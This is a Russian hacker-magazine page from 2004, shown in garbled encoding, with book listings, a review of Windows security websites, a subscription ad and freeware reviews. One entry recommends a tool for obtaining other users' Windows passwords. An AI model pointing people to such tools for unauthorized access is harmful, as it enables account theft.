TCP/IP-ïðîòîêîëàì è

ñëóæáàì äëÿ ñåòåé Windows
2000: óðîâåíü ñåòåâîãî èí-
òåðôåéñà (òåõíîëîãèè ëî-
êàëüíîé ñåòåâîé ñâÿçè -
LAN-òåõíîëîãèè, òåõíîëî-
ãèè ãëîáàëüíîé ñåòåâîé
ñâÿçè - WAN-òåõíîëîãèè,
ïðîòîêîë ðàçðåøåíèÿ àäðå-
ñîâ - ARP), ïðîòîêîëû ìåæ-
ñåòåâîãî óðîâíÿ (îñíîâû,
àäðåñàöèÿ, ìàðøðóòèçàöèÿ,
ïðîòîêîë óïðàâëÿþùèõ ñî-
îáùåíèé - ICMP, ïðîòîêîë
óïðàâëåíèÿ ãðóïïàìè -
IGMP, IPv6), ïðîòîêîëû
òðàíñïîðòíîãî óðîâíÿ (ïðî-
òîêîë ïåðåäà÷è ïîëüçîâà-
òåëüñêèõ äåéòàãðàìì - UDP,
îñíîâû TCP, TCP-ñîåäèíå-
íèÿ, èíôîðìàöèîííûé ïî-
òîê TCP è ò.ä.), ïðîòîêîëû è
ñëóæáû ïðèêëàäíîãî óðîâ-
íÿ (DHCP, DNS, WINS, IIS,
IPSec è VPN). Ìíîãî ïðàêòè-
÷åñêèõ ïðèìåðîâ è äèñê ñ
òðàññèðîâêàìè. E
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ÑÏá.: Ïèòåð
2004
Ãðàëëà Ï.
394 ñòðàíèöû
Ðàçóìíàÿ öåíà: 165 ðóáëåé

»

Ì.: Èçäàòåëüñòâî "ÑÏ Ýêîì"
2003
Ð. Äæåííèíãñ
480 ñòðàíèö
Ðàçóìíàÿ öåíà: 170 ðóáëåé

»

Ì.: Èçäàòåëüñòâî "ÑÏ Ýêîì"
2003
Òîìàñ Ëè
624 ñòðàíèöû
Ðàçóìíàÿ öåíà: 340 ðóáëåé

»

ÑÏá.: Ïèòåð
2003
Ý. Áîòò
682 ñòðàíèöû
Ðàçóìíàÿ öåíà: 265 ðóáëåé

»

Êíèãè íàì ïðåäîñòàâèë áóêèíèñòè÷åñêèé èíòåðíåò-ìàãàçèí "OS-Êíèãà".
Åñëè òåáÿ çàèíòåðåñîâàëà êàêàÿ-íèáóäü èç êíèã, òû ìîæåøü áåç ïðîáëåì
ïðèîáðåñòè åå ïî óêàçàííûì öåíàì íà ñàéòå www.osbook.ru. Êíèã, êñòàòè, òàì
çíà÷èòåëüíî áîëüøå, ÷åì â îáçîðå :).

Ì.: Ðóññêàÿ ðåäàêöèÿ
2001
Microsoft Corporation
912 ñòðàíèö
Ðàçóìíàÿ öåíà: 420 ðóáëåé



Êàðîëèê Àíäðåé (andrusha@real.xakep.ru)

Í å ñòîèò íåäîîöåíèâàòü âîçìîæíîñòè èíòåðíåòà. Íà åãî ïðîñòîðàõ åñòü ìíîæåñòâî ïîëåçíûõ ðåñóðñîâ, êîòîðûå,
âîçìîæíî, ìîãóò òåáå ïðèãîäèòüñÿ. Ïðåëåñòü â òîì, ÷òî èõ íå íàäî ïîñòîÿííî íîñèòü ñ ñîáîé (íåçàâèñèìî îò

îáúåìà) - äîñòàòî÷íî çíàòü àäðåñà è áûòü ïîäêëþ÷åííûì ê èíåòó. Àäðåñà ìû òåáå äàäèì :).

WEB-ÎÁÇÎÐ
Î ÁÅÇÎÏÀÑÍÎÑÒÈ WINDOWS È ÍÅ ÒÎËÜÊÎ
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WWW.MICROSOFT.COM/
WINDOWS

Ñàéò, êîòîðûé ñìîòðÿò
è õàêåðû, è þçåðû, è

ëàìåðû - òå, êòî èñïîëüçóåò,
àòàêóåò Âèíäó èëè ïðîñòî
èíòåðåñóåòñÿ. Åñëè òû íå
ïðîñìàòðèâàåøü ýòîò ñàéò,
òî ìíîãîå òåðÿåøü. Èìåííî
çäåñü ðàíüøå âñåãî ïîÿâëÿ-
þòñÿ îáíîâëåíèÿ, ïàò÷è, ñåð-
âèñïàêè è ïîëåçíûå áåñïëàò-
íûå ïðèëîæåíèÿ. Êîíå÷íî,
ïîòîì ýòî õîçÿéñòâî ðàñòàñ-
êèâàþò ïî äðóãèì ðåñóðñàì è
âûêëàäûâàþò íà ïèðàòñêèå
äèñêè. Äëÿ êàæäîé ÎÑ ñâîé
ïîäðàçäåë, ïî XP -
www.microsoft.com/windowsxp.
Ïåðâûì äåëîì ñìîòðè â
Download
(www.microsoft.com/windowsxp/dow
nloads), îòêóäà òÿíè ïîñëåä-
íèå ïàò÷è è àïäåéòû. Íà ñàé-
òå åñòü äîâîëüíî ïðèëè÷íàÿ
äîêóìåíòàöèÿ ïî XP
(www.microsoft.com/rus/win-
dowsxp): îáçîð ñèñòåìû, îïè-
ñàíèå îñíîâíûõ ôèøåê, ðàç-
ëè÷èÿ âåðñèé, ñîñòàâ ñåð-
âèñïàêîâ è ñîâåòû ïî ïîâû-
øåíèþ áåçîïàñíîñòè ñèñòå-
ìû. Ïîñëåäíèå áþëëåòåíè
ïî óÿçâèìîñòÿì ñìîòðè íà
www.microsoft.com/Rus/Security/Bull
etin. Çäåñü æå îïèñàíû ìèíè-
ìàëüíûå äåéñòâèÿ, êîòîðûå
íóæíî ïðîäåëàòü, ÷òîáû
îáåñïå÷èòü ñâîþ áåçîïàñ-
íîñòü (www.microsoft.com/Rus/
Security/Protect): óñòàíîâêà è

èñïîëüçîâàíèå âñòðîåííîãî
ìåæñåòåâîãî ýêðàíà, íàñò-
ðîéêà àâòîìàòè÷åñêîãî îá-
íîâëåíèÿ (íî â Ðîññèè òðà-
ôèê, ê ñîæàëåíèþ, äî ñèõ
ïîð íå áåçëèìèòíûé), à òàê-
æå äàíû ñîâåòû ïî ïðèìåíå-
íèþ àíòèâèðóñíûõ ïðîãðàìì. 

WWW.BUGTRAQ.RU

Ýòîò ñàéò ðåãóëÿðíî
ïîïàäàåò â web-îáçî-

ðû, è îí òîãî ñòîèò. Îäèí èç
êðóïíåéøèõ ïîðòàëîâ ïî áå-
çîïàñíîñòè íà ðóññêîì ÿçû-
êå. Ñïåöèàëèñòû ïî IT öåíÿò
ðåñóðñ çà åãî ïîçèöèîíèðî-
âàíèå - â íîâîñòíóþ ëåíòó è
îáçîðû ïîïàäàåò èíôîðìà-
öèÿ òîëüêî îá èçâåñòíûõ
ïðîãðàììàõ, èíôîðìàöèîí-
íûé ïîòîê íå çàñîðÿåòñÿ ìà-
ëîèçâåñòíûìè è íèêîìó íå-
íóæíûìè ïðîãðàììàìè. Ðå-
ãóëÿðíîñòü íîâîñòíûõ âû-
ïóñêîâ - íåñêîëüêî ðàç â íå-
äåëþ, èíîãäà íåñêîëüêî ðàç
â äåíü. Áîëüøàÿ ÷àñòü íî-
âîñòíûõ ìàòåðèàëîâ è îáçî-
ðîâ - ïåðåâîäû ñ ïåðâîèñ-
òî÷íèêîâ: www.theregister.co.uk,
www.news.com, www.pcwelt.de,
www.atstake.com, www.computer-
world.com, news.netcraft.com,
www.pcmag.com è ò.ï. Åñòü íåñ-
êîëüêî àâòîðñêèõ ñòàòåé ïî
áåçîïàñíîñòè -
www.bugtraq.ru/library/security.
Èíòåðåñíûé ðàçäåë -
www.bugtraq.ru/law, ñîäåðæà-
ùèé ìàññó èíôîðìàöèè ïî
âîïðîñàì, ñ êîòîðûìè ñòàë-
êèâàþòñÿ âëàäåëüöû èíòåë-
ëåêòóàëüíîé ñîáñòâåííîñòè.
Ýíòóçèàñòû èìåþò âîçìîæ-

íîñòü âëèòüñÿ â ïðîåêò (êî-
òîðûé www.bugtraq.ru ñäå-
ëàëè ñîâìåñòíî ñ www.wer-
wolf.de) - www.bugtraq.ru/dnet.
Èçíà÷àëüíî ïðîåêò ñîçäà-
âàëñÿ äëÿ òîãî, ÷òîáû ëå-
ãàëüíî âçëîìàòü êðèïòîãðà-
ôè÷åñêèé øèôð RC5-64
êîìïàíèè RSA, à òåïåðü äå-
ëî äîøëî äî RC5-72. Äîñòà-
òî÷íî ñêàçàòü, ÷òî êîìàíäà
çàíèìàåò âòîðîå ìåñòî â ìè-
ðå ïî ÷èñëåííîñòè è òðåòüå
ïî ïðîèçâîäèòåëüíîñòè
(www.bugtraq.ru/dnet/stat).

WWW.SECURITY.NNOV.RU

Îíëàéíîâûé ìîíèòî-
ðèíã áåçîïàñíîñòè.

Ñîáèðàþòñÿ äàííûå ñî âñåõ
äîñòóïíûõ ðåñóðñîâ (ðóñ-
ñêîÿçû÷íûõ è àíãëîÿçû÷-
íûõ), èì ïðèñâàèâàåòñÿ ñòå-
ïåíü îïàñíîñòè ïî ïÿòèáàë-
ëüíîé øêàëå, äàþòñÿ êðàò-
êîå îïèñàíèå è ññûëêà íà
ïåðâîèñòî÷íèê. Ïîäîáíûé
ïîäõîä èìååò ÿâíûé ìèíóñ -
èíôîðìàöèîííûé âàë íå
òàê èíòåðåñåí óçêèì ñïåöè-
àëèñòàì. Ñ äðóãîé ñòîðîíû,
äëÿ òåõ, êòî õî÷åò ïîëó÷èòü
îáùåå ïðåäñòàâëåíèå î ìè-
ðå êîìïüþòåðíîé áåçîïàñ-
íîñòè è äåðæàòü ðóêó íà
ïóëüñå, ýòî ñàìîå îíî.
Çäåñü òû íàéäåøü èíôîð-
ìàöèþ î íîâûõ îøèáêàõ,
óÿçâèìîñòÿõ, ýêñïëîèòàõ,
êðóïíûõ àòàêàõ è âçëîìàõ.
Ñîáñòâåííûõ ñòàòåé ó ðå-
ñóðñà ïî÷òè íåò (www.securi-
ty.nnov.ru/articles). Èíòåðåñåí
ôîðóì íà ñàéòå (www.securi-
ty.nnov.ru/board) - òàì ìîæíî
âñòðåòèòü àâòîðèòåòíûõ

ñïåöèàëèñòîâ è ïîîáùàòüñÿ
ñ íèìè íà ðàâíûõ, ñïðîñèòü
ñîâåòà èëè ïîñîâåòîâàòü
÷òî-òî äðóãèì. 

WWW.OSVDB.ORG

OSVDB - îòêðûòàÿ áà-
çà äàííûõ ïî áåçî-

ïàñíîñòè. Âñå æåëàþùèå
ìîãóò ñëèâàòü ñþäà èíôîð-
ìàöèþ î íàéäåííûõ áàãàõ,
äûðêàõ, óÿçâèìîñòÿì. Þçåð
òû, ïðîôè èëè äåâåëîïåðñ-
êàÿ êîìïàíèÿ - íå èìååò
çíà÷åíèÿ. Òû ââîäèøü îñ-
ìûñëåííûé çàãîëîâîê è
îïèñûâàåøü íàéäåííóþ
ïðîáëåìó, ìîäåðàòîð ïðîâå-
ðÿåò çàïèñü, è òâîé çàïðîñ
ïîëó÷àåò èäåíòèôèêàöèîí-
íûé íîìåð â áàçå. Òå çàïðî-
ñû, êîòîðûå îïèñûâàþò
ïðîáëåìó, íî íå ñîäåðæàò
èíñòðóêöèè ïî åå óñòðàíå-
íèþ, ïîìå÷àþòñÿ êàê "New".
Åñëè ñðàçó èëè ïîçæå áóäóò
äîáàâëåíû óêàçàíèÿ, êàê
óñòðàíèòü ïðîáëåìó, çàïðîñ
ïîëó÷àåò ñòàòóñ "Stable". Ðå-
ñóðñ ïîðîäèëè êîíôåðåíöèè
Black Hat and Defcon, îí áûë
ñîçäàí äëÿ óäîáñòâà èñïîëü-
çîâàíèÿ â óçêèõ êðóãàõ. Ïîç-
æå ðåñóðñ çíà÷èòåëüíî ðàñ-
øèðèëñÿ, à 31 ìàðòà 2004
åãî ñäåëàëè îòêðûòûì. Ïîëü-
çóéñÿ íà çäîðîâüå.

WINCHANGER.WHATIS.RU

Ðåñóðñ ñ âåñåëûì òèò-
ëîì: "Èçìåíèì îêíà ê

ëó÷øåìó :)". Ýòî ïîäðåñóðñ
áîëüøîãî ïîðòàëà
www.whatis.ru, êîòîðûé ïîñâÿ-
ùåí îêîëîêîìïüþòåðíûì
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òåìàì: ðååñòð, ñèñòåìà, àï-
ïàðàòíàÿ ÷àñòü ÏÊ, ïðîãðà-
ììíûå íàñòðîéêè è ò.ä. Ïðè-
÷åì ðååñòðó Windows îòâå-
äåí öåëûé ïîäðàçäåë -
www.whatis.ru/reg/index.shtml.
Òàì åñòü ñòàòüè, äàþùèå
áàçîâûå çíàíèÿ î ðååñòðå
(ñòðóêòóðà, ðåçåðâèðîâà-
íèå, èçìåíåíèÿ, reg-ôàéëû)
ñ êîíêðåòíûìè ïðèìåðàìè,
êàê ýòî ìîæíî èñïîëüçî-
âàòü íà ïðàêòèêå äëÿ íàñò-
ðîéêè ðàçëè÷íûõ ïàðàìåò-
ðîâ îïåðàöèîííîé ñèñòåìû,
îïòèìèçàöèè ðàáîòû, îãðà-
íè÷åíèÿ äîñòóïà, óâåëè÷å-
íèÿ áûñòðîäåéñòâèÿ è íàñò-
ðîéêè âíåøíåãî âèäà GUI.
Êðîìå òîãî, íà
winchanger.whatis.ru åñòü ñïðà-
âî÷íèêè, ãëîññàðèé òåõíè-
÷åñêèõ òåðìèíîâ, ïîëåçíûå
ñîâåòû è ññûëêè.

WWW.LCP.NM.RU

Äëÿ ñêëåðîòèêîâ è
òåõ, êòî õî÷åò ïîëó-

÷èòü ÷óæèå ïàðîëè ïîëüçî-
âàòåëåé â ñèñòåìå (Windows
NT/2000/XP), íóæíà ïðîã-
ðàììà LC+4. Äëÿ âîññòàíîâ-
ëåíèÿ SID è èìåí ó÷åòíûõ
çàïèñåé íóæíà ïðîãà
SID&User. Îáå ïðîãðàììû
äîñòóïíû íà ýòîì ñàéòå è
ðàñïðîñòðàíÿþòñÿ, ÷òî
î÷åíü ïðèÿòíî, ñîâåðøåííî
áåñïëàòíî. Çäåñü ñêðèíøî-
òû ïðîãðàìì, îïèñàíèå âîç-
ìîæíîñòåé, íåáîëüøîé ìà-
íóàë è ãîñòåâàÿ êíèãà, â êî-
òîðîé íà âîïðîñû äåéñòâè-
òåëüíî îòâå÷àþò. 

WWW.SECURITYLAB.RU

Àâòîðèòåòíûé èíôîð-
ìàöèîííûé ïîðòàë,

åæåäíåâíî ïóáëèêóþùèé
èíôîðìàöèþ î ñîáûòèÿõ â
îáëàñòè èíôîðìàöèîííîé
áåçîïàñíîñòè. Îïåðàòèâ-

íîñòü - êîíåê ðåñóðñà, îá-
íîâëåíèÿ äåëàþòñÿ íåñ-
êîëüêî ðàç â äåíü. Ïîäáîð-
êà âåäåòñÿ ïî âñåì ïðîñòî-
ðàì ðóíåòà è çàïàäíûì ðå-
ñóðñàì. Ïîìèìî îïèñàíèÿ
óÿçâèìîñòåé ïóáëèêóþòñÿ
êîíêðåòíûå ðåêîìåíäàöèè
ïî èõ íåéòðàëèçàöèè è óñò-
ðàíåíèþ. Êðîìå íîâîñòåé,
íà ñàéòå åñòü àâòîðñêèå (â
òîì ÷èñëå è ïåðåâîäíûå)
ñòàòüè. Â ðàçäåë "Óâåäîì-
ëåíèÿ" ïðîèçâîäèòåëè ïðîã-
ðàììíîãî îáåñïå÷åíèÿ ïóá-
ëèêóþò ñâîè áþëëåòåíè ïî
áåçîïàñíîñòè. Íà ñàéòå ïî-
ìåùàþò ïîñëåäíèå ýêñïëî-
èòû (êîíå÷íî, äëÿ îçíàêî-
ìèòåëüíûõ öåëåé) è èíôîð-
ìàöèþ î ïîëåçíûõ óòèëèò-
êàõ (áîëåå 5000), êîòîðûå
òåáå ïðèãîäÿòñÿ â ïîâñåä-
íåâíîé ðàáîòå. À ôîðóì -
îäèí èç íàèáîëåå ïîïóëÿð-
íûõ â Ðîññèè ïî èíôîðìà-
öèîííîé áåçîïàñíîñòè. Âëè-
âàéñÿ!

WWW.WINCITY.RU

Íåáîëüøîé ðåñóðñ,
íà êîòîðîì ñîáðàíû

ðàçëè÷íûå ìàòåðèàëû ïî
Windows: ðååñòð, îïòèìèçà-
öèÿ, íàñòðîéêà, áåçîïàñ-
íîñòü, ëîêàëüíûå ñåòè, æå-
ëåçî, ÏÎ è êîìïüþòåðíîå
ïðàâî. Åñòü ïîäáîðêà ïîëåç-
íûõ óòèëèòîê è ïðîãðàìì
ïîä Âèíäû, ïàò÷è è ðóñèôè-
êàòîðû. Ïîëåçíûìè îêàæóò-
ñÿ ñîâåòû è ðåøåíèÿ ÷àñòî
âîçíèêàþùèõ ïðîáëåì. 

WWW.SYSINTERNALS.COM

Ïðîåêò Ìàðêà Ðóññè-
íîâè÷à è Áðþñà Êîãñ-

âåëëà. Íå çíàåøü, êòî òàêîé
Ìàðê Ðóññèíîâè÷? Ïîçîð è
ñòûä. Ýòî îäèí èç èçâåñòíûõ
ïðîãðàììèñòîâ, êîòîðûé
âîçãëàâëÿåò êîíòîðó, çàíè-
ìàþùóþñÿ ðàçðàáîòêîé
ñèñòåìíûõ ïðèëîæåíèé äëÿ
Âèíäîâ. Îí íàïèñàë ìíîæå-
ñòâî ìàíóàëîâ è ñòàòåé, ïîñ-
âÿùåííûõ ðàçëè÷íûì âåð-
ñèÿì Windows, à òàêæå êó÷ó

ïîëåçíûõ ïðèëîæåíèé, ê
ïðèìåðó, òîò æå TCPView.
Íà ñàéòå ìîæíî ñêà÷àòü
CPUMon, DebugView,
Diskmon, Filemon, Handle,
ListDLLs, NTFSInfo, PMon,
Portmon, Process Explorer,
PsTools, Regmon, TDImon,
Tokenmon, Winobj, CacheSet,
Contig, Frob, PageDefrag,
AccessEnum, Autoruns,
BgInfo, Ctrl2cap, Diskview,
FAT32 for Windows NT 4.0,
Fundelete, LDMDump,
LiveKd, NewSID, NTRecover,
NTFSCHK, NTFSDOS, NTFS-
DOS Professional, NTFSFlp,
PsTools, Remote Recover,
SDelete, ShareEnum, Sync,
VolumeID, Bluescreen è ò.ä.

WWW.WINNTMAG.COM

Ýëåêòðîííûé ìàãàçèí
Windows IT Pro - ìàññà

ïðàêòè÷åñêîé è òåõíè÷åñêîé
èíôîðìàöèè äëÿ IT-ñïåöèà-
ëèñòîâ, ðàáîòàþùèõ ñ Âèí-
äàìè è SQL-ñåðâåðîì. Ïîñ-
ëåäíèå ðàçðàáîòêè è òåõíî-
ëîãèè, íàñòðîéêà, óïðàâëå-
íèå è ðåøåíèå âîçíèêàþ-
ùèõ ïðîáëåì. Ñðåäè ãîðÿ-
÷èõ òåì - òåõíîëîãèÿ Active
Directory, çàùèùåííîñòü
ïî÷òû, ïðîãðàììû Exchange
è Outlook, ìèãðàöèÿ, ìîáèëü-
íîñòü è èñïîëüçîâàíèå
áåñïðîâîäíûõ òåõíîëîãèé,
ñåòè, ñêðèïòû, áåçîïàñíîñòü,
âåá-àäìèíèñòðèðîâàíèå, ðå-
çåðâèðîâàíèå äàííûõ è ò.ä.
Îáíîâëåíèå íåñêîëüêî ðàç
â ñóòêè! Íà ñàéòå åñòü ñëå-
äóþùèå ôîðóìû: îáùèå
âîïðîñû ïî Âèíäàì, ïðîáëå-
ìû ðàçëè÷íûõ âåðñèé ÎÑ
Windows, ñåðâåðà íà áàçå
Windows, ðàçðàáîò÷èêàì,
SQL-ñåðâåð è ñåðòèôèêà-
öèÿ. Åñòü îòäåëüíûé ðàçäåë,
îñâåùàþùèé ñåìèíàðû,
êîíôåðåíöèè è âûñòàâêè ïî
âñåìó ìèðó, ïîñâÿùåííûå
ÎÑ Windows. Ðåàëüíî ïîðà-
äîâàë FAQ
(www.windowsitpro.com/FAQ) ñ òå-
ìàòè÷åñêîé ðàçáèâêîé -
óäîáíî ïåðåìåùàòüñÿ è èñ-
êàòü èíôîðìàöèþ. Îòâåòû
íà âîïðîñû èñ÷åðïûâàþùèå
è ñ ïîøàãîâûìè èíñòðóêöèÿ-
ìè, ïðè íåîáõîäèìîñòè ïðè-
âîäÿòñÿ ññûëêè íà äîïîëíè-
òåëüíóþ èíôîðìàöèþ ñ äðó-
ãèõ ðåñóðñîâ. Íà ñàéòå ïðå-
äóñìîòðåíî ïëàòíîå ÷ëåí-

ñòâî -  ïîëó÷àåøü äîñòóï ê
ðàññûëêå ìàòåðèàëîâ, êîòî-
ðûõ íà ñàéòå íåò (ñòàòüè, íî-
âîñòè, ìàíóàëû, ïðàêòè÷åñ-
êèå ñîâåòû è äðóãàÿ ïîëåç-
íàÿ èíôîðìàöèÿ).

WWW.VIRUSLIST.COM

Åñëè ó òåáÿ ïîñåëèëñÿ
âèðóñ, ñàìîå âðåìÿ ïî-

ëå÷èòüñÿ :). Ïðîáóåøü àíòè-
âèðóñ (ïðåäâàðèòåëüíî ñêà-
÷àâ ïîñëåäíåå îáíîâëåíèå
àíòèâèðóñíîé áàçû) è ïðîãî-
íÿåøü ïðîãðàììêó íà îòëîâ
øïèîíîâ (adware è spyware).
Íå ïîìîãëî? Íå âñå ïîòåðÿ-
íî - îáðàòèñü íà
www.viruslist.com. Òåáå â ðàçäåë
"Ïîñëåäíèå âèðóñû". Òàì
îïèñàíû ñèìïòîìû ïîäîïå÷-
íûõ è ïîøàãîâîå óñòðàíåíèå
çàðàçû. Èíñòðóêöèè ïî ëå÷å-
íèþ ìîæåò è íå áûòü, íî ïî
ñèìïòîìàì òû õîòÿ áû îïðå-
äåëèøü, êàê âèðóñ íàçûâà-
åòñÿ, ÷òîáû íàéòè â èíåòå
ïðîòèâîäåéñòâèå åìó. Ïîìè-
ìî îïèñàíèÿ âèðóñîâ è òðîÿ-
íîâ íà ñàéòå åñòü ëþáîïûò-
íûå ìàòåðèàëû ïî îêîëî-
êîìïüþòåðíîé æèçíè, ñâå-
æèå íîâîñòè è ñòàòüè. 

WWW.WINDOWSECURITY.COM

Ïîëåçíûé ðåñóðñ,
ïðàâäà, àíãëîÿçû÷íûé,

ïîñâÿùåííûé áåçîïàñíîñòè
Windows (÷òî, â ïðèíöèïå,
ïîíÿòíî óæå èç àäðåñà). Òâî-
åãî âíèìàíèÿ ñòîÿò ðàçäåëû:
ñòàòüè è ìàíóàëû (Articles &
Tutorials), ôàê ïî áåçîïàñ-
íîñòè (Security FAQs, âêëþ-
÷àåò äâà ôàêà: ïî îáíàðóæå-
íèþ àòàê è ïî òðîÿíàì), îá-
çîð ñîôòà (Software, òóò ìíî-
ãî âñåãî: àíòèâèðóñû, ñìàðò-
êàðòû, çàùèòà îò ñïàìà,
øèôðîâàíèå ïî÷òû, àíàëè-
çàòîðû ëîãîâ, ôàåðâîëû, äå-
òåêòîðû àòàê, ñåòåâûå óòè-
ëèòêè, ñêàíåðû, çàùèòà êîí-
òåíòà â âåáå è ìíîãîå äðóãîå)
è îíëàéíîâûé ñêàíåð òðîÿ-
íîâ íà òâîåì êîìïüþòåðå
(TrojanScan) - è âåäü ñêàíè-
ðóåò, çàðàçà :). E
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Äîñòàâêà çà ñ÷åò èçäàòåëÿ
Òû ãàðàíòèðîâàííî ïîëó÷èøü âñå íîìåðà æóðíàëà 
Çàêàç óäîáíî îïëàòèòü ÷åðåç ëþáîå îòäåëåíèå áàíêà

Òû ìîæåøü ïîêóïàòü èõ â ðîçíèöó è çà ãîä 

çàïëàòèòü áîëåå 5000 ðóáëåé.

Ìû ïðåäëàãàåì òåáå çàêàçàòü èõ â ðåäàêöèè: 

3 æóðíàëà íà 12 ìåñÿöåâ ÂÑÅÃÎ çà 2925 ðóáëåé 

Âû ñýêîíîìèòå 45% ñâîèõ ñðåäñòâ!!! 

* Ñïåöïðåäëîæåíèå äåéñòâèòåëüíî òîëüêî ïðè îïëàòå ïîäïèñêè ïî

äàííîìó êóïîíó íà âñå 3 æóðíàëà äî 30 íîÿáðÿ 2004 ãîäà!

ÒÎËÜÊÎ Â ÍÎßÁÐÅ

ÑÏÅÖÏÐÅÄËÎÆÅÍÈÅ*

íà 3 æóðíàëà: 

Õàêåð + Õàêåð Ñïåö + Æåëåçî

ÍÅ ÏÐÎÏÓÑÒÈ!!!



1. Çàïîëíèòü êóïîí è êâèòàíöèþ
2. Ïåðå÷èñëèòü ñòîèìîñòü ïîäïèñêè ÷åðåç Ñáåðáàíê 
3. Îáÿçàòåëüíî ïðèñëàòü â ðåäàêöèþ êîïèþ îïëà÷åííîé
êâèòàíöèè ñ ÷åòêî çàïîëíåííûì êóïîíîì ëþáûì èç
ïåðå÷èñëåííûõ ñïîñîáîâ: 

ïî ýëåêòðîííîé ïî÷òå: subsñribe_xs@gameland.ru; 
ïî ôàêñó: (095) 924-9694;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, ñòðîåíèå 2, 
ÎÎÎ «Ãåéì Ëýíä», Îòäåë ïîäïèñêè.

Ïî âñåì âîïðîñàì ïî ïîäïèñêå ìîæíî çâîíèòü ïî áåñïëàòíîìó òåëåôîíó 8-800-200-3-999.

* Êóðüåðñêàÿ äîñòàâêà îñóùåñòâëÿåòñÿ â òå÷åíèè 3õ äíåé ïîñëå âûõîäà æóðíàëà â
ïðîäàæó òîëüêî ïî Ìîñêâå íà àäðåñ îôèñà, äëÿ îôîðìëåíèÿ äîñòàâêè êóðüåðîì
óêàæèòå àäðåñ è íàçâàíèå ôèðìû â ïîäïèñíîì êóïîíå.

Çàêàæè æóðíàë â ðåäàêöèè è ñýêîíîìü äåíüãè

ÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ?

Ïðîøó îôîðìèòü ïîäïèñêó:

Áåñïëàòíûé 
òåëåôîí ïî Ðîññèè8-800-200-3-999
ïî âñåì âîïðîñàìïî ïîäïèñêå
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FTP SERV-U V5.2.0.0

Âûøëà íîâàÿ âåðñèÿ î÷åíü óäîáíîé ïðîãðàììû
äëÿ ïðåâðàùåíèÿ òâîåãî êîìïüþòåðà â FTP-ñåð-

âåð. Íàñòðîåê - ïðåäîñòàòî÷íî. Ôóíêöèÿ óäàëåííîãî àäìè-
íèñòðèðîâàíèÿ ïðèñóòñòâóåò â ïîëíîé ìåðå.
Ïîäõîäèò äëÿ ñåðâåðîâ, èìåþùèõ êàê îäèí, òàê è íåñêîëü-
êî IP-àäðåñîâ. Èìåþòñÿ èíñòðóìåíòû íàñëåäîâàíèÿ ïðàâ
äîñòóïà. Ïðîãðàììà òèõîíüêî ñèäèò â ñèñòåìíîì òðåå è íå

ïèòþêàåò. À
ïî öâåòó åå
èêîíêè ëåã-
êî ìîæíî
îïðåäåëèòü,
íàøåëñÿ ëè
æåëàþùèé
÷òî-ëèáî
ñêà÷àòü ñ
òâîåãî íîâî-
ÿâëåííîãî
ñåðâåðà...

»

CENTRAL BRAIN IDENTIFIER V7.2.0.9
BUILD 0909 FINAL

Ýòà ïðîãðàììà ïîäðîáíî ðàññêàæåò, ÷òî çà ïðîöåñ-
ñîð îò êîìïàíèè AMD óñòàíîâëåí â òâîåé ñèñòåìå.

Îíà ïîêàæåò, êîãäà ñäåëàí ïðîöåññîð, íà êàêîì ÿäðå, ïî
êàêîé òåõíîëîãèè,
êàêîâà åãî ðåàëüíàÿ
÷àñòîòà.
Òàêæå áóäåò âûäàíà
è íåêîòîðàÿ èíôîð-
ìàöèÿ ïî ìàòåðèíêå:
÷àñòîòà ñèñòåìíîé
øèíû, ðàçìåð êýøåé
âñåõ óðîâíåé, OPN-
íîìåð è äð. Ðàçóìå-
åòñÿ, åñëè ó òåáÿ êó-
ñî÷åê êðåìíèÿ ðîæ-
äåí â ñòåíàõ Intel
èëè VIA, óòèëèòà áó-
äåò ìîë÷àòü, ñëîâíî
ãíèëîé ïîìèäîð!

»

LIGHT ALLOY V2.6

Áåñïëàòíûé (äëÿ íàøèõ) ïëååð âèäåî- è àóäèîôàé-
ëîâ. Ïîääåðæèâàåò äèêîå êîëè÷åñòâî ôîðìàòîâ, èìå-

åò ìíîæåñòâî íàñòðîåê, ïðîñò â óïðàâëåíèè è ìîæåò ðàáî-
òàòü äàæå íà ñëàáûõ ìàøèíàõ. 
Ïî íàñòðîéêàì åñòü ïðàêòè÷åñêè âñå: èçìåíåíèå ñêîðîñòè,
ïðîïîðöèè, íàñòðîéêà àóäèî- è âèäåîäåêîäåðà, ôèëüòðû, ïî-
êàäðîâûé ïðîñìîòð, âîçìîæíîñòü ïîäêëþ÷åíèÿ è ðåãóëèðî-

âàíèÿ çâóêîâûõ äîðîæåê, ìåòêè, ñóáòèòðû... Ïëååð ïîääåðæè-
âàåò drag&drop è îñíîâíûå ïëàãèíû îò WinAmp. Âäîáàâîê
ìîæíî ñìåíèòü ñêèíû. Ïðàêòè÷åñêè íà âñå äåéñòâèÿ âåøàþò-
ñÿ õîòêåè èëè óïðàâëåíèå íåïîñðåäñòâåííî ìûøêîé (ãèïåðó-
äîáíî!). Ìîæåò ñêàòûâàòüñÿ â òðåé. Åñòü ðóññêèé è ò.ä. 
Â íîâîé âåðñèè Light Alloy äîáàâëåíû: âîçìîæíîñòü ïîçè-
öèîíèðîâàíèÿ ñóáòèòðîâ ïî âåðòèêàëè, âîçìîæíîñòü çàã-
ðóçêè äâóõ ñóáòèòðîâ îäíîâðåìåííî, ïîääåðæêà MKV,
MKA, RA, RV, RM, RAM. Òàêæå óáûñòðåí âèäåîïðîöåññîð
è èñïðàâëåíû áàãè. 

»

Í à ýòîò ðàç òâîåìó âíèìàíèþ ïðåäëàãàþòñÿ ñâåæåâûñòèðàííûå øàðîâàðû è äåâñòâåííî ÷èñòûå ôðèâàðû: îäíà ïî-
ëîâèíà èç íèõ ñâÿçàíà ñ Web, äðóãàÿ - íåïîñðåäñòâåííî ñ òåìîé íîìåðà. Þçàé è íàñëàæäàéñÿ!

CÎÔÒ
ÎÒ NONAME
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WINPLOSION V2.17

Êëàññíàÿ ïðîãà, ýìóëèðóþùàÿ ñïîñîáíîñòü MacOS
ïîêàçûâàòü óìåíüøåííûå âåðñèè îêîí íà äåñêòîïå

äëÿ âûáîðà àêòèâíîãî ïðèëîæåíèÿ. Ñâîåãî ðîäà çàìåíà
Alt-Tab. Åñëè ó òåáÿ
(êàê è ó ìåíÿ :)) ìíî-
ãî îòêðûòûõ îêîí -
êà÷àé WinPLOSION! 
Âûãëÿäèò ïðîñòî
ïîòðÿñàþùå! Ïîä-
äåðæèâàåò ãîðÿ÷èå
êëàâèøè èëè äâè-
æåíèÿ ìûøüþ - íà-
æàë è ñðàçó óâèäåë
